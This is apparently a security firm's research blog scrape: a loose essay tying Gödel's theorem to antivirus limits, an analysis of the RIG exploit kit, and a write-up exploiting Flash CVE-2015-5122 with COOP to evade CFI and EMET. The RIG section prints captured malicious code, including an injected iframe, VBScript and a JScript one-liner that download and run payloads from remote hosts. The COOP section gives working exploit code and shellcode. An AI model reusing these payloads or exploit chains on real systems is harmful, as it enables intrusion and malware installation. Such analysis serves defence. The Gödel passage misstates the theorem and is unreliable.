DATE HERE, 2017
Perception Point

The Gödel Proof
& The Malware Detection Spoof

DATE HERE, 2017
Perception Point

Kurt Gödel changed the face of mathematics with the stroke of two sentences, by proving that a foreknown truth about the completeness of the natural numbers system was actually improvable. Computer science, which relies on the axioms of the natural numbers system, continues bearing the weaknesses exposed by Gödel’s refute, and modern software detection is one specific niche which suffers from this flaw.

Gödel was an Austrian mathematician, logician and philosopher of the 20th century who specialized in logic and its implications on the foundations of mathematics. He studied at the Vienna University and focused his inquiries on the fundamental concepts of the natural numbers system (i.e 0,1,2,3…), which is the base of algorithmic logic and computer science. This system has a set of axioms defining the borders of its logic, for example, that 0 is actually a natural number, and not a null representation.

A logical system has axioms of completeness and consistency: It is complete in the sense that its axioms enable the creation of all possible true statements comprised of the system’s objects, and is consistent in the sense that these axioms do not contradict each other. Gödel used these two axioms to form an unprovable claim, as is portrayed in the following demonstration:

Articles

S is a logical system, such as the natural numbers system.
C is a claim comprised of objects and rules from the system S.

Principles

Completeness: any claim (C) within the system (S) is provable by the axioms of the system.
Consistency: all claims within the logic of the system (S) do not contradict each other.

Gödel used these articles and principles to create the following paradoxical statement: CS cannot be proved within the system S.

Apparently – this is a provable claim, but practically it is unprovable; the claim follows the logic of the system S, but states a claim that if proven – will refute the rule of completeness (any claim should be provable), and if unproven – will refute the rule of consistency (no claims within the same system contradict each other). By this, Gödel demonstrated what the linguist and philosopher Wittgenstein, described as the inability of language to refer to itself because the reference itself uses language. Gödel showed mathematically that systems have a limited capability of self attribution, due to their dependence on a closed logical subbase.

Like Wittgenstein’s claim and its Gödelian mathematical manifestation, anti-virus and its resembling platforms are incapable of examining the entire system while being a part of it, because they too are subject to its logical rules.
Zero-day attacks take advantage of unprecedented vulnerabilities, and thus undermine the rules of the system that they are attacking. Cyber security platforms are unable to identify these hostile utilizations because they are incapable of seeing beyond the logic of the operating system.

Cyber security companies continue offering software level solutions and promise top notch detection, while factually they are subject to this logical knot, and are blindsided to malicious activity conducted outside their limited visibility scope. Enterprises continue putting their trust in these myopic solutions, believing that it’s the best they can do, and accept the recurrences of zero-day attacks and their containment as an arms race between attackers and defenders. However, it is difficult to overlook the fact that visibility limitation are an innate attribute of software based cyber security solutions.

DATE HERE, 2017
By Perception Point Research Team

In The Wild
RIG Exploit Kit Analysis

DATE HERE, 2017
By Perception Point Research Team

Over the past week we’ve picked up on a campaign of infected sites that are redirecting users to RIG EK. Perception Point’s technology has identified an actively running malware campaign that is targeting CVE-2016-0189 and CVE-2015-2419 in order to install a malicious payload.

Exploit Kit Analysis

Our finding correlate to Nao-sec’s inclusive report regarding RIG EK.

Compromised Sites

Injected iFrame

The attackers compromised the site and added the following code snippet which directs the victim to the RIG EK landing page.
<iframe open='1' id='gx807' src='http://jakpotfreerols99.gq/rbt/?' width='308' height='308' type='1'></iframe>

Landing Page

The landing page is heavily obfuscated and contains exploit code as documented in the following section.

Exploits

CVE-2016-0189

The first exploit in RIG EK abuses a vulnerability in the VBScript engine of Internet Explorer in order to execute 2 arbitrary payloads. After performing some de-obfuscations using Mozilla Javascript Deobfuscator add-on tool we successfully extracted the VBS payload script.
First, we noticed the “ProtectMe” function, which is invoked by the javascript code:

Function ProtectMe (arg1)
    Dim addr
    Dim sexy
    Dim koles
    Dim mem
    Set dm = New MiddleD
    addr = GogoGoA(arg1, dm)
    mem = LikeMeLike(arg1, addr + 8)
    sexy = strToInt(Mid(mem, 3, 2))
    mem = LikeMeLike(arg1, sexy + 4)
    koles = strToInt(Mid(mem, 1, 2))
    Rewwati arg1, koles + &H174
    fire()
    Rewwati2 arg1, koles + &H174
 End Function

This function creates a dummy class instance, retrieves its memory address and then leaks the address of COleScript object in order to overwrite the GodMod flag, as superbly documented here.
After GodMode is obtained the fire() function is invoked which executes the malicious payloads.

Sub fire()
    On Error Resume Next
    key="gexywoaxor" url="http://188.225.XX.XX/?Lpe&traveling=UKFewBnnYxfUFMX86__j0LUzBCd1ZOB_BSMMwlH_JORFeVq2V6knbUkecIlzh-L7WhZxe4tDxoV4g&flight=2090&cars=2322&world=xXrQMvWYbRXQDp3EKv_cT6NBMVHRH0CL2YydmrHQefjaflWkzrfFTF_wozKATwSG6_ZtdfJVDQHmi&vel=4298"
    uas=Navigator.userAgent      
    Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
    Dim osloc
    Dim awghjghg
    for each os in oss
        osloc=os.OSLanguage
    next
    SetLocale(osloc)          
    Set req=CreateObject("WinHTTP.WinHTTPRequest.5.1")
    req.SetProxy 0
    req.Open "GET",url,0
    req.Option(0)=uas
    req.Send
    If 200=req.status Then
        z=req.responseBody
        Set c=CreateObject("Scripting.FileSystemObject")
        tmp=c.GetSpecialFolder(2)
        fake32=tmp&"\System32"
        If Not c.FolderExists(fake32) Then
            c.CreateFolder(fake32)
        End If
        im uyu5t,dlltxt,sdfsdf,dop,fakedll
        dop=&h20
        sdfsdf = Array(&h4d,&h5a,&h80,0,1,0,0,......)
        uyu5t= sdfsdf
        For i=0 to Ubound(uyu5t)
            uyu5t(i) = Chr(uyu5t(i))
        Next
        dlltxt = Join(uyu5t,"")
        fakedll = c.BuildPath(fake32,"shell32.dll")
        Set b=c.CreateTextFile(fakedll)
        b.Write dlltxt
        b.Close
        f=c.BuildPath(tmp,rnds(8)&".exe")
        Set stream=CreateObject("ADODB.Stream")
        stream.Open
        stream.Type=1
        stream.Write z
        arcnsave stream,key,f
        stream.Close
        Set w=CreateObject("WScript.Shell")
        w.CurrentDirectory=tmp
        oldroot=w.Environment("Process").Item("SystemRoot")
        w.Environment("Process").Item("SystemRoot")=tmp
        w.Environment("Process").Item("SysFilename")=f
        Set sh = CreateObject("Shell.Application")
        Environment("Process").Item("SystemRoot")=oldroot
    End If
End Sub
 

The script creates a temp folder that will be used later to store the malicious payloads.
Inside that temp folder it creates a folder named “system32”.
The first payload is an encrypted executable file which is downloaded from a remote HTTP server. The script decrypts it and drops it with a random filename in the created temp directory. The full path will be stored later in an environment variable named %SysFilename%.
The second payload is a tiny DLL file which is hardcoded in the script in an array called sdfsdf. The script writes it to the fake “system32” temp directory and names it “shell32.dll”. Then it points the “%SystemRoot%” environment variable to the temp folder meaning that “%SystemRoot%\system32\shell32.dll” will be expanded to the fake shell32.dll path so that when the script creates a “Shell.Application" object instance the fake DLL will be loaded.

Now, after we figured out how the DLL payload is executed, let’s see what it actually does:

This DLL includes one simple function which invokes CreateProcessAsUserW.
ScreenShot01
The CommandLine argument points to a buffer which is encrypted by a one-byte-xor encryption. Decrypting the buffer gives us:
“cmd.exe /c start %SysFilename% & rd /s /q System32”
%SysFilename% as we mentioned above, is the first executable payload that was downloaded before and will be analyzed later in the document. After executing the malware, it remove the fake system32 directory, which includes the dll itself.

CVE-2015-2419

This exploit leverages a bug in the javascript engine of Internet Explorer 11 as documented here:
FireEye | Checkpoint

The following is our technical analysis of the exploitation chain

Heap Spray
A heap spray is performed by spray Javascript arrays of type unsigned integers in order to control heap data at address 0x17249000 which is later dereferenced by the bug.

Flow Hijack
Our engine picked up on the illegal execution flow as presented in the following output

000000006bf7d655 <jscript9.dll+0xd655>   cmp dword ptr [eax], 1 
000000006bf7d658 <jscript9.dll+0xd658>   je 0x6bf7d673
000000006bf7d65a <jscript9.dll+0xd65a>   mov eax, dword ptr [edx]
000000006bf7d65c <jscript9.dll+0xd65c>   push edi
000000006bf7d65d <jscript9.dll+0xd65d>   push esi
000000006bf7d65e <jscript9.dll+0xd65e>   push dword ptr [ebp + 0xc]
000000006bf7d661 <jscript9.dll+0xd661>   push dword ptr [ebp + 8]
000000006bf7d664 <jscript9.dll+0xd664>   push ecx
000000006bf7d665 <jscript9.dll+0xd665>   mov ecx, edx
000000006bf7d667 <jscript9.dll+0xd667>   call dword ptr [eax + 0x4c] <-----
000000006bf8e01c <jscript9.dll+0x1e01c>  xchg eax, esp
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
000000006bf94a58 <jscript9.dll+0x24a58>  mov dword ptr [ecx + 0xc], eax
000000006bf94a5b <jscript9.dll+0x24a5b>  ret
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
0000000076f62c15 <kernel32.dll+0x42c15>  mov edi, edi
0000000076f62c17 <kernel32.dll+0x42c17>  push ebp
0000000076f62c18 <kernel32.dll+0x42c18>  mov ebp, esp
0000000076f62c1a <kernel32.dll+0x42c1a>  pop ebp
0000000076f62c1b <kernel32.dll+0x42c1b>  jmp 0x76f220d8
 

ROP Chain

The ROP chain is easily spottable in the snippet above, it contains 3 gadgets which pivot the stack and invoke kernel32!VirtualProtectStub which changes the heap memory permissions to PAGE_EXECUTE_READWRITE (as you can see the 00000040 in the following snippet)

//Stack pivot
000000006bf8e01c <jscript9.dll+0x1e01c>  xchg eax, esp
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
//Backup old stack pointer
000000006bf94a58 <jscript9.dll+0x24a58>  mov dword ptr [ecx + 0xc], eax
000000006bf94a5b <jscript9.dll+0x24a5b>  ret
//Invoke kernel32!VirtualProtectStub
000000006bf8e01d <jscript9.dll+0x1e01d>  ret
0:012> dd esp
1724900c  1724a050 1724a050 0000072e 00000040
1724901c  17245100 00000000 00000000 00000000
1724902c  00000000 00000000 00000000 00000000
1724903c  00000000 00000000 00000000 00000000
1724904c  6880e01c 00000000 00000000 00000000
1724905c  00000000 00000000 00000000 00000000
1724906c  00000000 00000000 00000000 00000000
1724907c  00000000 00000000 00000000 00000000
 

Shellcode

Execution is returned to the heap to a small stub that invokes the shellcode

0:012> u 1724a050 
1724a050 53              push    ebx
1724a051 55              push    ebp
1724a052 e810000000      call    1724a067
1724a057 5d              pop     ebp
1724a058 5b              pop     ebx
1724a059 8b630c          mov     esp,dword ptr [ebx+0Ch]
1724a05c 8b450c          mov     eax,dword ptr [ebp+0Ch]
1724a05f 830801          or      dword ptr [eax],1

As you can see, we have a simple XOR decryption loop

0:012> u 1724a067 L 20
1724a067 90              nop
1724a068 eb12            jmp     1724a07c
1724a06a 58              pop     eax
1724a06b 31c9            xor     ecx,ecx
1724a06d 66b96d05        mov     cx,56Dh
1724a071 49              dec     ecx
1724a072 80340884        xor     byte ptr [eax+ecx],84h
1724a076 85c9            test    ecx,ecx
1724a078 75f7            jne     1724a071
1724a07a ffe0            jmp     eax
1724a07c e8e9ffffff      call    1724a06a

Finally we have shellcode that finds and invokes kernel32!CreateProcessA

1724a081 55              push    ebp
1724a082 89e5            mov     ebp,esp
1724a084 83c4ac          add     esp,0FFFFFFACh
1724a087 53              push    ebx
1724a088 51              push    ecx
1724a089 57              push    edi
1724a08a 31c0            xor     eax,eax
1724a08c 648b4030        mov     eax,dword ptr fs:[eax+30h]
1724a090 8b400c          mov     eax,dword ptr [eax+0Ch]
1724a093 8b400c          mov     eax,dword ptr [eax+0Ch]
1724a096 8b00            mov     eax,dword ptr [eax]
1724a098 8b00            mov     eax,dword ptr [eax]
1724a09a 8b5818          mov     ebx,dword ptr [eax+18h]
1724a09d 89d8            mov     eax,ebx
1724a09f 03403c          add     eax,dword ptr [eax+3Ch]
1724a0a2 8b5078          mov     edx,dword ptr [eax+78h]
1724a0a5 01da            add     edx,ebx
1724a0a7 8b7a20          mov     edi,dword ptr [edx+20h]
1724a0aa 01df            add     edi,ebx
1724a0ac 31c9            xor     ecx,ecx
1724a0ae 8b07            mov     eax,dword ptr [edi]
1724a0b0 01d8            add     eax,ebx
1724a0b2 813843726561    cmp     dword ptr [eax],61657243h
1724a0b8 751c            jne     1724a0d6
1724a0ba 81780b73734100  cmp     dword ptr [eax+0Bh],417373h
1724a0c1 7513            jne     1724a0d6
1724a0c3 8b4224          mov     eax,dword ptr [edx+24h]
1724a0c6 01d8            add     eax,ebx
1724a0c8 0fb70448        movzx   eax,word ptr [eax+ecx*2]
1724a0cc 8b521c          mov     edx,dword ptr [edx+1Ch]
1724a0cf 01da            add     edx,ebx
1724a0d1 031c82          add     ebx,dword ptr [edx+eax*4]
1724a0d4 eb09            jmp     1724a0df
1724a0d6 83c704          add     edi,4
1724a0d9 41              inc     ecx
1724a0da 3b4a18          cmp     ecx,dword ptr [edx+18h]
1724a0dd 7ccf            jl      1724a0ae
1724a0df 8d45f0          lea     eax,[ebp-10h]
1724a0e2 50              push    eax
1724a0e3 8d7dac          lea     edi,[ebp-54h]
1724a0e6 57              push    edi
1724a0e7 31c0            xor     eax,eax
1724a0e9 b911000000      mov     ecx,11h
1724a0ee f3ab            rep stos dword ptr es:[edi]
1724a0f0 66c745d80101    mov     word ptr [ebp-28h],101h
1724a0f6 c745ac44000000  mov     dword ptr [ebp-54h],44h
1724a0fd 50              push    eax
1724a0fe 50              push    eax
1724a0ff 50              push    eax
1724a100 40              inc     eax
1724a101 50              push    eax
1724a102 48              dec     eax
1724a103 50              push    eax
1724a104 50              push    eax
1724a105 eb0e            jmp     1724a115
1724a107 50              push    eax
1724a108 ffd3            call    ebx // {kernel32!CreateProcessA (76832082)}
1724a10a 5f              pop     edi
1724a10b 59              pop     ecx
1724a10c 5b              pop     ebx
1724a10d c1e003          shl     eax,3
1724a110 83c006          add     eax,6
1724a113 c9              leave
1724a114 c3              ret
 

The following command line is passed in the parameters to kernel32!CreateProcessA

cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="pow",j=6*6;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j)["slice"](1)};function V(k){var y=a(e+"."+e+"Request.5.1");y.setProxy(n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=50*5+5,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e.charCodeAt(b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinHTTP",Z="cmd",j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(20+1+v[M]("PE\x00\x00"));s.WriteText(v);if(31^<d){var z=1;x+="dll"}else x+=p;s["sav"+"etofile"](x,1+1);s.Close();C=" /c ";z^&^&(x="regsvr"+32+E+" /s "+x);j./**/run(Z+E+C+x,1-1)}catch(N){};q.Deletefile(K);
>o32.tmp && start wscript //B //E:JScript o32.tmp "gexywoaxor" "hxxp://188.225.XX.XX/?Lpe&traveling=mjkKFewZnnYxYUFMX9a__j0TUzBCe1ZOB_hSMMwhH_JOXFeVq3V6knbAkdcsjxBWE7WFgke5dUQ&cars=3213&flight=5374&world=xX_QMvWebRXQCJ3EKv_cT6NGMVHRHECL2YudmrHVefjaf1WkzrbFTF_xozKASQSG6_ZtdfJSDQH&Vid=6107" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727;.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
 

Download-and-Execute

The command line writes a file named o32.tmp to %tmp%, fills it with Javascript code and invokes it with 3 parameters:

It downloads the malware from the URL and executes it in the logged on user’s context.

Malware Analysis

This malware is a session stealer.
An infected machine can be easily identified by the following registry key:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\jfghdug_ooetvtgk

Sample MD5: a5e7c3e7404a84b41ca55fef19a51421
Generates a name of 8 random alphanumeric characters

The malware employs different anti debugging and anti static analysis techniques.
It is highly packed with no less than 3 different packers (including APLib, UPX and another unrecognized packer).
The malware doesn’t seem to be widespread at the moment, but we did see it across the internet with different compilations and hashes.
We have found more examples of the malware, all seem to be very recent which might indicate the campaign itself is relatively new.

DATE HERE
By Perception Point Research Team

Breaking CFI:
Exploiting CVE-2015-5122 using COOP

DATE HERE
By Perception Point Research Team

CVE-2015-5122 is a use-after-free vulnerability that was used by Hacking Team to exploit Adobe Flash Player (version 18.0.0.203 and below). In this post we’re going to focus on exploitation and not on the vulnerability, it’s important to note that by leveraging the vulnerability we are able to gain a full read-write primitive to the process memory.

An analysis of the bug itself can be found here

Metasploit’s Exploitation

We based our work on Metasploit’s exploit of CVE-2015-5122. You can find the ActionScript source code here
In order to achieve a read/write primitive, the bug is used to overwrite the length member of a vector object. The vector object is wrapped with the ExploitBytheArray class that contains the write(addr, data) and read(addr) methods that provide the full read/write primitive.

First, the code sprays a vector containing a stack-pivot stub

private function spray_objects():void
{
    Logger. log( "[*] Exploiter - spray_objects()" )
               
    // mov eax, [ esp+0x4 ]
    // xchg eax,esp
    // rets
    stub [ 0 ] = 0x0424448B
    stub [ 1 ] = 0x0000C394
               
    for ( var i:uint = 0; i < spray.length; i++ )
    {
...
    }

As you can see in Exploiter.as, the code uses the ExploitByteArray object (eba) to write the ROP-chain and shellcode to the memory:

// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload

// Put the fake stack in memory
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; address will become stack after stack pivot
eba.write(0, virtualprotect)

// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)

// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE

// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)

// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
 

Code execution is gained by defining a fake “magic” method in the Exploiter class, its vtable offset is overridden by using the ExploitByteArray. The overridden vtable entry will point to a gadget controlled by the attacker and invoked when the “magic” method is called.
Looking at the metasploit implementation, the attacker first calls VirtualProtect in order to change the sprayed stack-pivot stub’s page protection to PAGE_EXECUTE, and then uses the magic method a second time to call the executable stub and start the ROP chain:

// VirtualProtect the stub with a *reliable* stack pivot
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stub_address)
eba.write(magic + 0x20, 0x10)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);

// Call to our stack pivot and init the rop chain
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stack_address + 0x18000)
Magic.call.apply(null, null);
eba.write(magic_object, magic_table);
eba.write(magic + 0x1c, magic_arg0)
eba.write(magic + 0x20, magic_arg1)
 

Magic method’s vtable offset is 28 (0x1c).
First, the attacker writes VirtualProtect’s address to the 0x1c offset of a fake vtable, then overwrite the object’s vptr to point to the fake vtable.

This implementation is enough to exploit the vulnerability and bypass ASLR and DEP, but it’s far from being undetectable by modern CFI implementations. For example, Shadow Stack based CFI implementations will easily detect the stack pivot and the ROP chain execution as they will observe that the magic function returns to a different address than the address that was pushed on the stack by the original call instruction.
Additionally,EMET’s “caller mitigation” algorithm detects the second VirtualProtect invocation from the ROP chain, because it disassembles the return address instructions of “critical functions” and validates that there’s a CALL instruction there (and not a RET instruction).
Also, before the ROP stage, some fine-grained CFI solutions will detect the first VirtualProtect invocation because it is performed by an unfamiliar CALL instruction.

To summarize, in order to make this exploit undetectable by modern CFI implementations, we must conform to the following constraints:

  1.   We must not violate the stack pointer or change any return-address on the stack
  2.   We must use the Magic method to invoke only legal functions. Which means no ROP style gadgets because their addresses point to the middle of a function and that is detectable by CFI solutions.
  3.   We must not use the Magic function to call to critical functions like VirtualProtect, VirtualAlloc, etc..

In order to implement the exploit under these constraints we need to use COOP (Counterfeit Object-oriented Programming).

COOP

Counterfeit Object-Oriented Programming (COOP) is a new code-reuse technique for C++ applications. This technique relies on the assumption that CFI solutions do not consider C++ semantics, as they don’t check that every virtual function is called by the appropriate virtual callsite. By creating a counterfeit object with a fake vtable with vptr’s of our choosing, we can invoke any virtual function without triggering CFI. This is because CFI solutions don’t validate that the called virtual-function has any connection to the caller object’s class.

First, we need to find virtual functions that perform the operations we plan to do. These functions are called “vfgadgets”.
Second, in order to combine them all together we need to find a special vfgadget called Main Loop Gadget (ML-G or ML-ARG-G if it is passed arguments). This vfgadget contains a loop that iterates through a list of objects and calls a virtual function for each one of them. It’s common to find such a vfgadget in a large C++ application. By filling the counterfeit ML-G object with a fake member list of objects, each object will hold a fake vtable containing a different vfgadget, we can execute different parts of the application’s code without violating the constraints described above.

More information about COOP can be found in this paper.

There are several ways to implement this exploit using the COOP technique. For example, we can search vfgadgets in our C++ application that give us the ability to write a file to the disk and then another vfgadget that gives us the ability to execute it by CreateProcess, or LoadLibrary.
Another way is to mark a page in the memory with EXECUTABLE and WRITE permissions by finding a vfgadget that calls VirtualProtect or VirtualAlloc, and then we can use this page to write our shellcode to and execute it.

In our implementation, we chose the second way, because we found a very simple vfgadget that creates a page with EXECUTE_READWRITE permissions. However, during the research we also found 5 vfgadgets in flash DLL that do the following:

  1.   Create 2 directories, under any path we want to (necessary for the next vfgadget)
  2.   Write a file to a path under the name “digest.s”.
  3.   Call MoveFileEx API as we have a full control on the source and destination parameters. This will rename the file “digest.s” to “atl.dll” which is necessary for the final vfgadget.
  4.   Call SetCurrentDirectory API with a controllable path parameter. We can use it to set the process’s current directory to the path containing our payload file.
  5.   Call LoadLibrary to “atl.dll” which will load our payload dll.

Anyhow, combining all these vfgadgets together is possible but very complicated, and as mentioned before, we found one simple vfgadget that gives us a memory page with READWRITE_EXECUTE protection.
This vfgadget is ATL::CComControl::CreateControlWindow, a virtual function we found in shell32.dll (Window 7 SP1 32bit).

ATL::CComControl::CreateControlWindow

Active Template Library(ATL) is a C++ template library that is used to simplify the programming of COM object in Windows. You can find these templates in some of Windows libraries, including shell32.dll.
One of shell32.dll objects is CComControl, a class that provides methods for creating and managing ATL controls.
The important method for us is CreateControlWindow.

According to microsoft’s documentation, this is what this method actually does:

By default, creates a window for the control by calling CWindowImpl::Create.

Syntax

virtual HWND CreateControlWindow(
    HWND hWndParent,
    RECT& rcPos
);

Parameters

hWndParent
[in] Handle to the parent or owner window. A valid window handle must be supplied. The control window is confined to the area of its parent window.

rcPos
[in] The initial size and position of the window to be created.

Remarks

Override this method if you want to do something other than create a single window, for example, to create two windows, one of which becomes a toolbar for your control.

This method actually initializes and creates a window. As every window, it needs to have a WndProc function – a callback function that will process all the messages that will be sent to the window.
We found out that this function puts a thunk as the WndProc procedure of the window. This thunk transforms the Windows C callback call into a virtual function call, by overwriting the first WndProc stack argument (that’s supposed to be the HANDLE of the window) with a C++ this pointer.

The thunk data and its disassembly:

Thunk data:
c7 44 24 04 [DWORD thisPointer] e9 [DWORD WndProc]

disas:
mov DWORD PTR [esp+0x4], thisPointer
jmp WndProc
 

More information about the ATLThunk can be found here
Note: This method is relevant to Windows 7 as mentioned here, and is supposed to be changed in a later ATL version.

What’s really interesting in our vfgadget implementation is that the thunk is written to a page that is allocated by VirtualAlloc with EXECUTE_READWRITE permissions. This VirtualAlloc call is performed by ATL::_stdcallthunk::Init as you can see in the following screenshot (0x40 is the flProtect parameter, meaning EXECUTE_READWRITE):

The only things that actually matters to us are:

  • The created thunk pointer will be saved later inside our CComControl fake object
  • There’s only one check that can prevent the vfgadget from calling the ATL::_stdcallthunk::Init, and we have a full control on this check,
    because it just validates that one of the object’s member is NULL.

To summarize, we will create our counterfeit CComControl object, call the ATL::CComControl::CreateControlWindow vfgadget, and then use our read/write primitive (ExploitByteArray) to read the created thunk address. Ultimately giving us a READWRITE_EXECUTE page to store our shellcode.
Well, almost, the Magic method we use in order to execute the vfgadget passes 3 arguments to virtual function, however ATL:CComControl::CreateControlWindow receives only 2 arguments which leads to a stack corruption and crashes the process. In order to avoid a stack corruption we use another vfgadget that receives 3 arguments and use it to call ATL::CComControl::CreateControlWindow.

ML-ARG-G vfgadget

To find such a vfgadget we searched shell32.dll’s functions with an IDA script with the following constraints:

  1. It’s a virtual function (it is xref in a vtable)
  2. It has one indirect call that involves registers
  3. It receives 3 arguments like our Magic method (detected by “retn X” opcode)
  4. It passes 2 arguments to the indirect called function (detected by subtracting the pops count from the pushes count)
  5. It’s smaller than 0x30 bytes – after all, we don’t want a long and complex vfgadget.

We looked over the script result and chose the ultimate one: CLibrariesFolderBase::v_AreAllLibraries
This vfgadget is actually a mainloop gadget (ML-ARG-G) that calls the same virtual function (offset 0x4c of the VTABLE) in every iteration and stops the iteration only when the function returns a successful error code (0).

The shellcode

We created a simple shellcode that executes calc.exe and terminate the process. It gets CreateProcessA and ExitProcess addresses as a parameters (assumes they written in the memory right after the shellcode).

[BITS 32]

mov esp, ebp;
call $+5;
pop ebp;
sub ebp, 0x7;
xor ebx, ebx;
lea ecx, [ebp + process_info];
push ecx;
lea ecx, [ebp + startup_info];
push ecx;
push ebx;
push ebx;
push ebx;
push ebx;
push ebx;
push ebx;
lea ecx, [ebp + calc_wstr];
push ecx;
push ebx;
lea eax, [ebp + eof];
add eax, 2;
call [eax]; ; kernel32!CreateProcessW
lea eax, [ebp + eof];        
add eax, 6;
call [eax]; ; kernel32!ExitProcess
db 0xcc;

calc_wstr: db "c", 0, "a", 0, "l", 0, "c", 0, ".", 0, "e", 0, "x", 0, "e", 0, 0;
padding: db 0x0, 0x0 ,0x0;
startup_info: db 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00;
process_info: db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00;
eof: db 0x00, 0x00;
 

In order to bypass EMET’s EAF protection, we improved metasploit implementation of PE.as library, and added a simple method that parses PE import table and returns the address of the imported procedure you want to use.

Combining it all together

Now to finish our exploit implementation we combine all the steps together in the exploit.as
First, we setup all the addresses relevant for our exploit, including the 2 vfgadgets and ExitProcess and CreateProcessW pointers:

var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var shell32:uint = pe.module("sh4ell32.dll".replace("4", ""), flash)
var ml_arg_g:uint = shell32 +0x2db3d6
var createWindow_g:uint = shell32 + 0x353e36
var original_this:uint = 0

// get ExitProcess and CreateProcessW procedures from import table to bypass EMET EAF
var exitProcess:uint = pe.get_import_table_procedure("KERNEL32.dll", "E2xitProcess".replace("2", ""), flash)
var createProcess:uint = pe.get_import_table_procedure("KERNEL32.dll", "Creat2eProcessW".replace("2", ""), flash)
 

Now, let’s build our counterfeit objects, as the magic method pointer [vtable+0x18] will point to our ML-ARG-G, and the ML-ARG-G inner call vtable’s offset [vtable+0x4c] will point to CreateControlWindow vfgadget:

// first, we save the current this pointer, to recover it later
original_this = eba.read(magic_object);

var magic_vtable:uint = magic_object+0x40;

// now, lets put a fake vptr at [magic_object]
eba.write(magic_object, magic_vtable);

// [vtable+0x18] will hold the first vfgadget that will be invoked
// it will be the ML-ARG-G we found in shell32.
eba.write(magic_vtable + 0x18, ml_arg_g);

// [vtable+0x4c] will hold the second vfgadget that will be invoked
// It will be the createWindow vfgadget we found in shell32
eba.write(magic_vtable+0x4C, createWindow_g)
 

Now, invoking the Magic method will perform our COOP flow:

eba.write(magic + 0x1c, 0x0)
eba.write(magic + 0x20, magic_object+0x100)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
eba.write(magic_object, original_this);
 

When our COOP flow finished, we can read the created READWRITE_EXECUTE allocated page pointer. It will be stored at 0x5c offset from the “this”:

// createWindow allocated a page with EXECUTE_READWRITE protection, and stored a pointer to it on magic_object+5C
var allocated_address:uint = eba.read(magic_object+0x5c)

// get page base address
allocated_address = allocated_address&0xFFFFF000
 

Now, we can simply write our compiled shellcode to the allocated_address, put this address in Magic vtable offset, and call the magic method again.

January 14, 2016
By Perception Point Research Team

Analysis and Exploitation of a Linux Kernel Vulnerability
(CVE-2016-0728)

January 14, 2016
By Perception Point Research Team

